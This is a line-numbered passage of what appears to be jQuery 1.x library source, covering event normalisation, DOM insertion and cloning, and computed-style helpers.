2990 event = new jQuery.Event(originalEvent);
2991 i = copy.length;
2992 while (i--) {
2993 prop = copy[i];
2994 event[prop] = originalEvent[prop]
2995 }
2996 if (!event.target) {
2997 event.target = originalEvent.srcElement || document
2998 }
2999 if (event.target.nodeType === 3) {
3000 event.target = event.target.parentNode
3001 }
3002 event.metaKey = !!event.metaKey;
3003 return fixHook.filter ? fixHook.filter(event, originalEvent) : event
3004 },
3005 props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
3006 fixHooks: {},
3007 keyHooks: {
3008 props: "char charCode key keyCode".split(" "),
3009 filter: function(event, original) {
3010 if (event.which == null) {
3011 event.which = original.charCode != null ? original.charCode : original.keyCode
3012 }
3013 return event
3014 }
3015 },
3016 mouseHooks: {
3017 props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
3018 filter: function(event, original) {
3019 var body, eventDoc, doc, button = original.button,
3020 fromElement = original.fromElement;
3021 if (event.pageX == null && original.clientX != null) {
3022 eventDoc = event.target.ownerDocument || document;
3023 doc = eventDoc.documentElement;
3024 body = eventDoc.body;
3025 event.pageX = original.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
3026 event.pageY = original.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0)
3027 }
3028 if (!event.relatedTarget && fromElement) {
3029 event.relatedTarget = fromElement === event.target ? original.toElement : fromElement
3030 }
3031 if (!event.which && button !== undefined) {
3032 event.which = (button & 1 ? 1 : (button & 2 ? 3 : (button & 4 ? 2 : 0)))
3033 }
3034 return event
3035 }
3036 },
3037 special: {
3038 load: {
3039 noBubble: true
3040 },
3041 focus: {
3042 trigger: function() {
3043 if (this !== safeActiveElement() && this.focus) {
3044 try {
3045 this.focus();
3046 return false
3047 } catch (e) {}
3048 }
3049 },
3050 delegateType: "focusin"
3051 },
3052 blur: {
3053 trigger: function() {
3054 if (this === safeActiveElement() && this.blur) {
3055 this.blur();
3056 return false
3057 }
3058 },
3059 delegateType: "focusout"
3060 },
3061 click: {
3062 trigger: function() {
3063 if (jQuery.nodeName(this, "input") && this.type === "checkbox" && this.click) {
3064 this.click();
3065 return false
3066 }
3067 },
3068 _default: function(event) {
3069 return jQuery.nodeName(event.target, "a")
3070 }
3071 },
3072 beforeunload: {
3073 postDispatch: function(event) {
3074 if (event.result !== undefined && event.originalEvent) {
3075 event.originalEvent.returnValue = event.result
3076 }
3077 }
3078 }
3079 },
3080 simulate: function(type, elem, event, bubble) {
3081 var e = jQuery.extend(new jQuery.Event(), event, {
3082 type: type,
3083 isSimulated: true,
3084 originalEvent: {}
3085 });
3086 if (bubble) {
3087 jQuery.event.trigger(e, null, elem)
3088 } else {
3089 jQuery.event.dispatch.call(elem, e)
3090 }
3091 if (e.isDefaultPrevented()) {
3092 event.preventDefault()
3093 }
3094 }
3095 };
3096 jQuery.removeEvent = document.removeEventListener ? function(elem, type, handle) {
3097 if (elem.removeEventListener) {
3098 elem.removeEventListener(type, handle, false)
3099 }
3100 } : function(elem, type, handle) {
3101 var name = "on" + type;
3102 if (elem.detachEvent) {
3103 if (typeof elem[name] === strundefined) {
3104 elem[name] = null
3105 }
3106 elem.detachEvent(name, handle)
3107 }
3108 };
3109 jQuery.Event = function(src, props) {
3110 if (!(this instanceof jQuery.Event)) {
3111 return new jQuery.Event(src, props)
3112 }
3113 if (src && src.type) {
3114 this.originalEvent = src;
3115 this.type = src.type;
3116 this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && src.returnValue === false ? returnTrue : returnFalse
3117 } else {
3118 this.type = src
3119 }
3120 if (props) {
3121 jQuery.extend(this, props)
3122 }
3123 this.timeStamp = src && src.timeStamp || jQuery.now();
3124 this[jQuery.expando] = true
3125 };
3126 jQuery.Event.prototype = {
3127 isDefaultPrevented: returnFalse,
3128 isPropagationStopped: returnFalse,
3129 isImmediatePropagationStopped: returnFalse,
3130 preventDefault: function() {
3131 var e = this.originalEvent;
3132 this.isDefaultPrevented = returnTrue;
3133 if (!e) {
3134 return
3135 }
3136 if (e.preventDefault) {
3137 e.preventDefault()
3138 } else {
3139 e.returnValue = false
3140 }
3141 },
3142 stopPropagation: function() {
3143 var e = this.originalEvent;
3144 this.isPropagationStopped = returnTrue;
3145 if (!e) {
3146 return
3147 }
3148 if (e.stopPropagation) {
3149 e.stopPropagation()
3150 }
3151 e.cancelBubble = true
3152 },
3153 stopImmediatePropagation: function() {
3154 var e = this.originalEvent;
3155 this.isImmediatePropagationStopped = returnTrue;
3156 if (e && e.stopImmediatePropagation) {
3157 e.stopImmediatePropagation()
3158 }
3159 this.stopPropagation()
3160 }
3161 };
3162 jQuery.each({
3163 mouseenter: "mouseover",
3164 mouseleave: "mouseout",
3165 pointerenter: "pointerover",
3166 pointerleave: "pointerout"
3167 }, function(orig, fix) {
3168 jQuery.event.special[orig] = {
3169 delegateType: fix,
3170 bindType: fix,
3171 handle: function(event) {
3172 var ret, target = this,
3173 related = event.relatedTarget,
3174 handleObj = event.handleObj;
3175 if (!related || (related !== target && !jQuery.contains(target, related))) {
3176 event.type = handleObj.origType;
3177 ret = handleObj.handler.apply(this, arguments);
3178 event.type = fix
3179 }
3180 return ret
3181 }
3182 }
3183 });
3184 if (!support.submitBubbles) {
3185 jQuery.event.special.submit = {
3186 setup: function() {
3187 if (jQuery.nodeName(this, "form")) {
3188 return false
3189 }
3190 jQuery.event.add(this, "click._submit keypress._submit", function(e) {
3191 var elem = e.target,
3192 form = jQuery.nodeName(elem, "input") || jQuery.nodeName(elem, "button") ? elem.form : undefined;
3193 if (form && !jQuery._data(form, "submitBubbles")) {
3194 jQuery.event.add(form, "submit._submit", function(event) {
3195 event._submit_bubble = true
3196 });
3197 jQuery._data(form, "submitBubbles", true)
3198 }
3199 })
3200 },
3201 postDispatch: function(event) {
3202 if (event._submit_bubble) {
3203 delete event._submit_bubble;
3204 if (this.parentNode && !event.isTrigger) {
3205 jQuery.event.simulate("submit", this.parentNode, event, true)
3206 }
3207 }
3208 },
3209 teardown: function() {
3210 if (jQuery.nodeName(this, "form")) {
3211 return false
3212 }
3213 jQuery.event.remove(this, "._submit")
3214 }
3215 }
3216 }
3217 if (!support.changeBubbles) {
3218 jQuery.event.special.change = {
3219 setup: function() {
3220 if (rformElems.test(this.nodeName)) {
3221 if (this.type === "checkbox" || this.type === "radio") {
3222 jQuery.event.add(this, "propertychange._change", function(event) {
3223 if (event.originalEvent.propertyName === "checked") {
3224 this._just_changed = true
3225 }
3226 });
3227 jQuery.event.add(this, "click._change", function(event) {
3228 if (this._just_changed && !event.isTrigger) {
3229 this._just_changed = false
3230 }
3231 jQuery.event.simulate("change", this, event, true)
3232 })
3233 }
3234 return false
3235 }
3236 jQuery.event.add(this, "beforeactivate._change", function(e) {
3237 var elem = e.target;
3238 if (rformElems.test(elem.nodeName) && !jQuery._data(elem, "changeBubbles")) {
3239 jQuery.event.add(elem, "change._change", function(event) {
3240 if (this.parentNode && !event.isSimulated && !event.isTrigger) {
3241 jQuery.event.simulate("change", this.parentNode, event, true)
3242 }
3243 });
3244 jQuery._data(elem, "changeBubbles", true)
3245 }
3246 })
3247 },
3248 handle: function(event) {
3249 var elem = event.target;
3250 if (this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox")) {
3251 return event.handleObj.handler.apply(this, arguments)
3252 }
3253 },
3254 teardown: function() {
3255 jQuery.event.remove(this, "._change");
3256 return !rformElems.test(this.nodeName)
3257 }
3258 }
3259 }
3260 if (!support.focusinBubbles) {
3261 jQuery.each({
3262 focus: "focusin",
3263 blur: "focusout"
3264 }, function(orig, fix) {
3265 var handler = function(event) {
3266 jQuery.event.simulate(fix, event.target, jQuery.event.fix(event), true)
3267 };
3268 jQuery.event.special[fix] = {
3269 setup: function() {
3270 var doc = this.ownerDocument || this,
3271 attaches = jQuery._data(doc, fix);
3272 if (!attaches) {
3273 doc.addEventListener(orig, handler, true)
3274 }
3275 jQuery._data(doc, fix, (attaches || 0) + 1)
3276 },
3277 teardown: function() {
3278 var doc = this.ownerDocument || this,
3279 attaches = jQuery._data(doc, fix) - 1;
3280 if (!attaches) {
3281 doc.removeEventListener(orig, handler, true);
3282 jQuery._removeData(doc, fix)
3283 } else {
3284 jQuery._data(doc, fix, attaches)
3285 }
3286 }
3287 }
3288 })
3289 }
3290 jQuery.fn.extend({
3291 on: function(types, selector, data, fn, one) {
3292 var type, origFn;
3293 if (typeof types === "object") {
3294 if (typeof selector !== "string") {
3295 data = data || selector;
3296 selector = undefined
3297 }
3298 for (type in types) {
3299 this.on(type, selector, data, types[type], one)
3300 }
3301 return this
3302 }
3303 if (data == null && fn == null) {
3304 fn = selector;
3305 data = selector = undefined
3306 } else if (fn == null) {
3307 if (typeof selector === "string") {
3308 fn = data;
3309 data = undefined
3310 } else {
3311 fn = data;
3312 data = selector;
3313 selector = undefined
3314 }
3315 }
3316 if (fn === false) {
3317 fn = returnFalse
3318 } else if (!fn) {
3319 return this
3320 }
3321 if (one === 1) {
3322 origFn = fn;
3323 fn = function(event) {
3324 jQuery().off(event);
3325 return origFn.apply(this, arguments)
3326 };
3327 fn.guid = origFn.guid || (origFn.guid = jQuery.guid++)
3328 }
3329 return this.each(function() {
3330 jQuery.event.add(this, types, fn, data, selector)
3331 })
3332 },
3333 one: function(types, selector, data, fn) {
3334 return this.on(types, selector, data, fn, 1)
3335 },
3336 off: function(types, selector, fn) {
3337 var handleObj, type;
3338 if (types && types.preventDefault && types.handleObj) {
3339 handleObj = types.handleObj;
3340 jQuery(types.delegateTarget).off(handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler);
3341 return this
3342 }
3343 if (typeof types === "object") {
3344 for (type in types) {
3345 this.off(type, selector, types[type])
3346 }
3347 return this
3348 }
3349 if (selector === false || typeof selector === "function") {
3350 fn = selector;
3351 selector = undefined
3352 }
3353 if (fn === false) {
3354 fn = returnFalse
3355 }
3356 return this.each(function() {
3357 jQuery.event.remove(this, types, fn, selector)
3358 })
3359 },
3360 trigger: function(type, data) {
3361 return this.each(function() {
3362 jQuery.event.trigger(type, data, this)
3363 })
3364 },
3365 triggerHandler: function(type, data) {
3366 var elem = this[0];
3367 if (elem) {
3368 return jQuery.event.trigger(type, data, elem, true)
3369 }
3370 }
3371 });
3372
3373 function createSafeFragment(document) {
3374 var list = nodeNames.split("|"),
3375 safeFrag = document.createDocumentFragment();
3376 if (safeFrag.createElement) {
3377 while (list.length) {
3378 safeFrag.createElement(list.pop())
3379 }
3380 }
3381 return safeFrag
3382 }
3383 var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" + "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
3384 rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g,
3385 rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"),
3386 rleadingWhitespace = /^\s+/,
3387 rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
3388 rtagName = /<([\w:]+)/,
3389 rtbody = /<tbody/i,
3390 rhtml = /<|&#?\w+;/,
3391 rnoInnerhtml = /<(?:script|style|link)/i,
3392 rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
3393 rscriptType = /^$|\/(?:java|ecma)script/i,
3394 rscriptTypeMasked = /^true\/(.*)/,
3395 rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
3396 wrapMap = {
3397 option: [1, "<select multiple='multiple'>", "</select>"],
3398 legend: [1, "<fieldset>", "</fieldset>"],
3399 area: [1, "<map>", "</map>"],
3400 param: [1, "<object>", "</object>"],
3401 thead: [1, "<table>", "</table>"],
3402 tr: [2, "<table><tbody>", "</tbody></table>"],
3403 col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
3404 td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
3405 _default: support.htmlSerialize ? [0, "", ""] : [1, "X<div>", "</div>"]
3406 },
3407 safeFragment = createSafeFragment(document),
3408 fragmentDiv = safeFragment.appendChild(document.createElement("div"));
3409 wrapMap.optgroup = wrapMap.option;
3410 wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
3411 wrapMap.th = wrapMap.td;
3412
3413 function getAll(context, tag) {
3414 var elems, elem, i = 0,
3415 found = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName(tag || "*") : typeof context.querySelectorAll !== strundefined ? context.querySelectorAll(tag || "*") : undefined;
3416 if (!found) {
3417 for (found = [], elems = context.childNodes || context;
3418 (elem = elems[i]) != null; i++) {
3419 if (!tag || jQuery.nodeName(elem, tag)) {
3420 found.push(elem)
3421 } else {
3422 jQuery.merge(found, getAll(elem, tag))
3423 }
3424 }
3425 }
3426 return tag === undefined || tag && jQuery.nodeName(context, tag) ? jQuery.merge([context], found) : found
3427 }
3428
3429 function fixDefaultChecked(elem) {
3430 if (rcheckableType.test(elem.type)) {
3431 elem.defaultChecked = elem.checked
3432 }
3433 }
3434
3435 function manipulationTarget(elem, content) {
3436 return jQuery.nodeName(elem, "table") && jQuery.nodeName(content.nodeType !== 11 ? content : content.firstChild, "tr") ? elem.getElementsByTagName("tbody")[0] || elem.appendChild(elem.ownerDocument.createElement("tbody")) : elem
3437 }
3438
3439 function disableScript(elem) {
3440 elem.type = (jQuery.find.attr(elem, "type") !== null) + "/" + elem.type;
3441 return elem
3442 }
3443
3444 function restoreScript(elem) {
3445 var match = rscriptTypeMasked.exec(elem.type);
3446 if (match) {
3447 elem.type = match[1]
3448 } else {
3449 elem.removeAttribute("type")
3450 }
3451 return elem
3452 }
3453
3454 function setGlobalEval(elems, refElements) {
3455 var elem, i = 0;
3456 for (;
3457 (elem = elems[i]) != null; i++) {
3458 jQuery._data(elem, "globalEval", !refElements || jQuery._data(refElements[i], "globalEval"))
3459 }
3460 }
3461
3462 function cloneCopyEvent(src, dest) {
3463 if (dest.nodeType !== 1 || !jQuery.hasData(src)) {
3464 return
3465 }
3466 var type, i, l, oldData = jQuery._data(src),
3467 curData = jQuery._data(dest, oldData),
3468 events = oldData.events;
3469 if (events) {
3470 delete curData.handle;
3471 curData.events = {};
3472 for (type in events) {
3473 for (i = 0, l = events[type].length; i < l; i++) {
3474 jQuery.event.add(dest, type, events[type][i])
3475 }
3476 }
3477 }
3478 if (curData.data) {
3479 curData.data = jQuery.extend({}, curData.data)
3480 }
3481 }
3482
3483 function fixCloneNodeIssues(src, dest) {
3484 var nodeName, e, data;
3485 if (dest.nodeType !== 1) {
3486 return
3487 }
3488 nodeName = dest.nodeName.toLowerCase();
3489 if (!support.noCloneEvent && dest[jQuery.expando]) {
3490 data = jQuery._data(dest);
3491 for (e in data.events) {
3492 jQuery.removeEvent(dest, e, data.handle)
3493 }
3494 dest.removeAttribute(jQuery.expando)
3495 }
3496 if (nodeName === "script" && dest.text !== src.text) {
3497 disableScript(dest).text = src.text;
3498 restoreScript(dest)
3499 } else if (nodeName === "object") {
3500 if (dest.parentNode) {
3501 dest.outerHTML = src.outerHTML
3502 }
3503 if (support.html5Clone && (src.innerHTML && !jQuery.trim(dest.innerHTML))) {
3504 dest.innerHTML = src.innerHTML
3505 }
3506 } else if (nodeName === "input" && rcheckableType.test(src.type)) {
3507 dest.defaultChecked = dest.checked = src.checked;
3508 if (dest.value !== src.value) {
3509 dest.value = src.value
3510 }
3511 } else if (nodeName === "option") {
3512 dest.defaultSelected = dest.selected = src.defaultSelected
3513 } else if (nodeName === "input" || nodeName === "textarea") {
3514 dest.defaultValue = src.defaultValue
3515 }
3516 }
3517 jQuery.extend({
3518 clone: function(elem, dataAndEvents, deepDataAndEvents) {
3519 var destElements, node, clone, i, srcElements, inPage = jQuery.contains(elem.ownerDocument, elem);
3520 if (support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test("<" + elem.nodeName + ">")) {
3521 clone = elem.cloneNode(true)
3522 } else {
3523 fragmentDiv.innerHTML = elem.outerHTML;
3524 fragmentDiv.removeChild(clone = fragmentDiv.firstChild)
3525 }
3526 if ((!support.noCloneEvent || !support.noCloneChecked) && (elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem)) {
3527 destElements = getAll(clone);
3528 srcElements = getAll(elem);
3529 for (i = 0;
3530 (node = srcElements[i]) != null; ++i) {
3531 if (destElements[i]) {
3532 fixCloneNodeIssues(node, destElements[i])
3533 }
3534 }
3535 }
3536 if (dataAndEvents) {
3537 if (deepDataAndEvents) {
3538 srcElements = srcElements || getAll(elem);
3539 destElements = destElements || getAll(clone);
3540 for (i = 0;
3541 (node = srcElements[i]) != null; i++) {
3542 cloneCopyEvent(node, destElements[i])
3543 }
3544 } else {
3545 cloneCopyEvent(elem, clone)
3546 }
3547 }
3548 destElements = getAll(clone, "script");
3549 if (destElements.length > 0) {
3550 setGlobalEval(destElements, !inPage && getAll(elem, "script"))
3551 }
3552 destElements = srcElements = node = null;
3553 return clone
3554 },
3555 buildFragment: function(elems, context, scripts, selection) {
3556 var j, elem, contains, tmp, tag, tbody, wrap, l = elems.length,
3557 safe = createSafeFragment(context),
3558 nodes = [],
3559 i = 0;
3560 for (; i < l; i++) {
3561 elem = elems[i];
3562 if (elem || elem === 0) {
3563 if (jQuery.type(elem) === "object") {
3564 jQuery.merge(nodes, elem.nodeType ? [elem] : elem)
3565 } else if (!rhtml.test(elem)) {
3566 nodes.push(context.createTextNode(elem))
3567 } else {
3568 tmp = tmp || safe.appendChild(context.createElement("div"));
3569 tag = (rtagName.exec(elem) || ["", ""])[1].toLowerCase();
3570 wrap = wrapMap[tag] || wrapMap._default;
3571 tmp.innerHTML = wrap[1] + elem.replace(rxhtmlTag, "<$1></$2>") + wrap[2];
3572 j = wrap[0];
3573 while (j--) {
3574 tmp = tmp.lastChild
3575 }
3576 if (!support.leadingWhitespace && rleadingWhitespace.test(elem)) {
3577 nodes.push(context.createTextNode(rleadingWhitespace.exec(elem)[0]))
3578 }
3579 if (!support.tbody) {
3580 elem = tag === "table" && !rtbody.test(elem) ? tmp.firstChild : wrap[1] === "<table>" && !rtbody.test(elem) ? tmp : 0;
3581 j = elem && elem.childNodes.length;
3582 while (j--) {
3583 if (jQuery.nodeName((tbody = elem.childNodes[j]), "tbody") && !tbody.childNodes.length) {
3584 elem.removeChild(tbody)
3585 }
3586 }
3587 }
3588 jQuery.merge(nodes, tmp.childNodes);
3589 tmp.textContent = "";
3590 while (tmp.firstChild) {
3591 tmp.removeChild(tmp.firstChild)
3592 }
3593 tmp = safe.lastChild
3594 }
3595 }
3596 }
3597 if (tmp) {
3598 safe.removeChild(tmp)
3599 }
3600 if (!support.appendChecked) {
3601 jQuery.grep(getAll(nodes, "input"), fixDefaultChecked)
3602 }
3603 i = 0;
3604 while ((elem = nodes[i++])) {
3605 if (selection && jQuery.inArray(elem, selection) !== -1) {
3606 continue
3607 }
3608 contains = jQuery.contains(elem.ownerDocument, elem);
3609 tmp = getAll(safe.appendChild(elem), "script");
3610 if (contains) {
3611 setGlobalEval(tmp)
3612 }
3613 if (scripts) {
3614 j = 0;
3615 while ((elem = tmp[j++])) {
3616 if (rscriptType.test(elem.type || "")) {
3617 scripts.push(elem)
3618 }
3619 }
3620 }
3621 }
3622 tmp = null;
3623 return safe
3624 },
3625 cleanData: function(elems, acceptData) {
3626 var elem, type, id, data, i = 0,
3627 internalKey = jQuery.expando,
3628 cache = jQuery.cache,
3629 deleteExpando = support.deleteExpando,
3630 special = jQuery.event.special;
3631 for (;
3632 (elem = elems[i]) != null; i++) {
3633 if (acceptData || jQuery.acceptData(elem)) {
3634 id = elem[internalKey];
3635 data = id && cache[id];
3636 if (data) {
3637 if (data.events) {
3638 for (type in data.events) {
3639 if (special[type]) {
3640 jQuery.event.remove(elem, type)
3641 } else {
3642 jQuery.removeEvent(elem, type, data.handle)
3643 }
3644 }
3645 }
3646 if (cache[id]) {
3647 delete cache[id];
3648 if (deleteExpando) {
3649 delete elem[internalKey]
3650 } else if (typeof elem.removeAttribute !== strundefined) {
3651 elem.removeAttribute(internalKey)
3652 } else {
3653 elem[internalKey] = null
3654 }
3655 deletedIds.push(id)
3656 }
3657 }
3658 }
3659 }
3660 }
3661 });
3662 jQuery.fn.extend({
3663 text: function(value) {
3664 return access(this, function(value) {
3665 return value === undefined ? jQuery.text(this) : this.empty().append((this[0] && this[0].ownerDocument || document).createTextNode(value))
3666 }, null, value, arguments.length)
3667 },
3668 append: function() {
3669 return this.domManip(arguments, function(elem) {
3670 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3671 var target = manipulationTarget(this, elem);
3672 target.appendChild(elem)
3673 }
3674 })
3675 },
3676 prepend: function() {
3677 return this.domManip(arguments, function(elem) {
3678 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3679 var target = manipulationTarget(this, elem);
3680 target.insertBefore(elem, target.firstChild)
3681 }
3682 })
3683 },
3684 before: function() {
3685 return this.domManip(arguments, function(elem) {
3686 if (this.parentNode) {
3687 this.parentNode.insertBefore(elem, this)
3688 }
3689 })
3690 },
3691 after: function() {
3692 return this.domManip(arguments, function(elem) {
3693 if (this.parentNode) {
3694 this.parentNode.insertBefore(elem, this.nextSibling)
3695 }
3696 })
3697 },
3698 remove: function(selector, keepData) {
3699 var elem, elems = selector ? jQuery.filter(selector, this) : this,
3700 i = 0;
3701 for (;
3702 (elem = elems[i]) != null; i++) {
3703 if (!keepData && elem.nodeType === 1) {
3704 jQuery.cleanData(getAll(elem))
3705 }
3706 if (elem.parentNode) {
3707 if (keepData && jQuery.contains(elem.ownerDocument, elem)) {
3708 setGlobalEval(getAll(elem, "script"))
3709 }
3710 elem.parentNode.removeChild(elem)
3711 }
3712 }
3713 return this
3714 },
3715 empty: function() {
3716 var elem, i = 0;
3717 for (;
3718 (elem = this[i]) != null; i++) {
3719 if (elem.nodeType === 1) {
3720 jQuery.cleanData(getAll(elem, false))
3721 }
3722 while (elem.firstChild) {
3723 elem.removeChild(elem.firstChild)
3724 }
3725 if (elem.options && jQuery.nodeName(elem, "select")) {
3726 elem.options.length = 0
3727 }
3728 }
3729 return this
3730 },
3731 clone: function(dataAndEvents, deepDataAndEvents) {
3732 dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
3733 deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
3734 return this.map(function() {
3735 return jQuery.clone(this, dataAndEvents, deepDataAndEvents)
3736 })
3737 },
3738 html: function(value) {
3739 return access(this, function(value) {
3740 var elem = this[0] || {},
3741 i = 0,
3742 l = this.length;
3743 if (value === undefined) {
3744 return elem.nodeType === 1 ? elem.innerHTML.replace(rinlinejQuery, "") : undefined
3745 }
3746 if (typeof value === "string" && !rnoInnerhtml.test(value) && (support.htmlSerialize || !rnoshimcache.test(value)) && (support.leadingWhitespace || !rleadingWhitespace.test(value)) && !wrapMap[(rtagName.exec(value) || ["", ""])[1].toLowerCase()]) {
3747 value = value.replace(rxhtmlTag, "<$1></$2>");
3748 try {
3749 for (; i < l; i++) {
3750 elem = this[i] || {};
3751 if (elem.nodeType === 1) {
3752 jQuery.cleanData(getAll(elem, false));
3753 elem.innerHTML = value
3754 }
3755 }
3756 elem = 0
3757 } catch (e) {}
3758 }
3759 if (elem) {
3760 this.empty().append(value)
3761 }
3762 }, null, value, arguments.length)
3763 },
3764 replaceWith: function() {
3765 var arg = arguments[0];
3766 this.domManip(arguments, function(elem) {
3767 arg = this.parentNode;
3768 jQuery.cleanData(getAll(this));
3769 if (arg) {
3770 arg.replaceChild(elem, this)
3771 }
3772 });
3773 return arg && (arg.length || arg.nodeType) ? this : this.remove()
3774 },
3775 detach: function(selector) {
3776 return this.remove(selector, true)
3777 },
3778 domManip: function(args, callback) {
3779 args = concat.apply([], args);
3780 var first, node, hasScripts, scripts, doc, fragment, i = 0,
3781 l = this.length,
3782 set = this,
3783 iNoClone = l - 1,
3784 value = args[0],
3785 isFunction = jQuery.isFunction(value);
3786 if (isFunction || (l > 1 && typeof value === "string" && !support.checkClone && rchecked.test(value))) {
3787 return this.each(function(index) {
3788 var self = set.eq(index);
3789 if (isFunction) {
3790 args[0] = value.call(this, index, self.html())
3791 }
3792 self.domManip(args, callback)
3793 })
3794 }
3795 if (l) {
3796 fragment = jQuery.buildFragment(args, this[0].ownerDocument, false, this);
3797 first = fragment.firstChild;
3798 if (fragment.childNodes.length === 1) {
3799 fragment = first
3800 }
3801 if (first) {
3802 scripts = jQuery.map(getAll(fragment, "script"), disableScript);
3803 hasScripts = scripts.length;
3804 for (; i < l; i++) {
3805 node = fragment;
3806 if (i !== iNoClone) {
3807 node = jQuery.clone(node, true, true);
3808 if (hasScripts) {
3809 jQuery.merge(scripts, getAll(node, "script"))
3810 }
3811 }
3812 callback.call(this[i], node, i)
3813 }
3814 if (hasScripts) {
3815 doc = scripts[scripts.length - 1].ownerDocument;
3816 jQuery.map(scripts, restoreScript);
3817 for (i = 0; i < hasScripts; i++) {
3818 node = scripts[i];
3819 if (rscriptType.test(node.type || "") && !jQuery._data(node, "globalEval") && jQuery.contains(doc, node)) {
3820 if (node.src) {
3821 if (jQuery._evalUrl) {
3822 jQuery._evalUrl(node.src)
3823 }
3824 } else {
3825 jQuery.globalEval((node.text || node.textContent || node.innerHTML || "").replace(rcleanScript, ""))
3826 }
3827 }
3828 }
3829 }
3830 fragment = first = null
3831 }
3832 }
3833 return this
3834 }
3835 });
3836 jQuery.each({
3837 appendTo: "append",
3838 prependTo: "prepend",
3839 insertBefore: "before",
3840 insertAfter: "after",
3841 replaceAll: "replaceWith"
3842 }, function(name, original) {
3843 jQuery.fn[name] = function(selector) {
3844 var elems, i = 0,
3845 ret = [],
3846 insert = jQuery(selector),
3847 last = insert.length - 1;
3848 for (; i <= last; i++) {
3849 elems = i === last ? this : this.clone(true);
3850 jQuery(insert[i])[original](elems);
3851 push.apply(ret, elems.get())
3852 }
3853 return this.pushStack(ret)
3854 }
3855 });
3856 var iframe, elemdisplay = {};
3857
3858 function actualDisplay(name, doc) {
3859 var style, elem = jQuery(doc.createElement(name)).appendTo(doc.body),
3860 display = window.getDefaultComputedStyle && (style = window.getDefaultComputedStyle(elem[0])) ? style.display : jQuery.css(elem[0], "display");
3861 elem.detach();
3862 return display
3863 }
3864
3865 function defaultDisplay(nodeName) {
3866 var doc = document,
3867 display = elemdisplay[nodeName];
3868 if (!display) {
3869 display = actualDisplay(nodeName, doc);
3870 if (display === "none" || !display) {
3871 iframe = (iframe || jQuery("<iframe frameborder='0' width='0' height='0'/>")).appendTo(doc.documentElement);
3872 doc = (iframe[0].contentWindow || iframe[0].contentDocument).document;
3873 doc.write();
3874 doc.close();
3875 display = actualDisplay(nodeName, doc);
3876 iframe.detach()
3877 }
3878 elemdisplay[nodeName] = display
3879 }
3880 return display
3881 }(function() {
3882 var shrinkWrapBlocksVal;
3883 support.shrinkWrapBlocks = function() {
3884 if (shrinkWrapBlocksVal != null) {
3885 return shrinkWrapBlocksVal
3886 }
3887 shrinkWrapBlocksVal = false;
3888 var div, body, container;
3889 body = document.getElementsByTagName("body")[0];
3890 if (!body || !body.style) {
3891 return
3892 }
3893 div = document.createElement("div");
3894 container = document.createElement("div");
3895 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
3896 body.appendChild(container).appendChild(div);
3897 if (typeof div.style.zoom !== strundefined) {
3898 div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;" + "padding:1px;width:1px;zoom:1";
3899 div.appendChild(document.createElement("div")).style.width = "5px";
3900 shrinkWrapBlocksVal = div.offsetWidth !== 3
3901 }
3902 body.removeChild(container);
3903 return shrinkWrapBlocksVal
3904 }
3905 })();
3906 var rmargin = (/^margin/);
3907 var rnumnonpx = new RegExp("^(" + pnum + ")(?!px)[a-z%]+$", "i");
3908 var getStyles, curCSS, rposition = /^(top|right|bottom|left)$/;
3909 if (window.getComputedStyle) {
3910 getStyles = function(elem) {
3911 if (elem.ownerDocument.defaultView.opener) {
3912 return elem.ownerDocument.defaultView.getComputedStyle(elem, null)
3913 }
3914 return window.getComputedStyle(elem, null)
3915 };
3916 curCSS = function(elem, name, computed) {
3917 var width, minWidth, maxWidth, ret, style = elem.style;
3918 computed = computed || getStyles(elem);
3919 ret = computed ? computed.getPropertyValue(name) || computed[name] : undefined;
3920 if (computed) {
3921 if (ret === "" && !jQuery.contains(elem.ownerDocument, elem)) {
3922 ret = jQuery.style(elem, name)
3923 }
3924 if (rnumnonpx.test(ret) && rmargin.test(name)) {
3925 width = style.width;
3926 minWidth = style.minWidth;
3927 maxWidth = style.maxWidth;
3928 style.minWidth = style.maxWidth = style.width = ret;
3929 ret = computed.width;
3930 style.width = width;
3931 style.minWidth = minWidth;
3932 style.maxWidth = maxWidth
3933 }
3934 }
3935 return ret === undefined ? ret : ret + ""
3936 }
3937 } else if (document.documentElement.currentStyle) {
3938 getStyles = function(elem) {
3939 return elem.currentStyle
3940 };
3941 curCSS = function(elem, name, computed) {
3942 var left, rs, rsLeft, ret, style = elem.style;
3943 computed = computed || getStyles(elem);
3944 ret = computed ? computed[name] : undefined;
3945 if (ret == null && style && style[name]) {
3946 ret = style[name]
3947 }
3948 if (rnumnonpx.test(ret) && !rposition.test(name)) {
3949 left = style.left;
3950 rs = elem.runtimeStyle;
3951 rsLeft = rs && rs.left;
3952 if (rsLeft) {
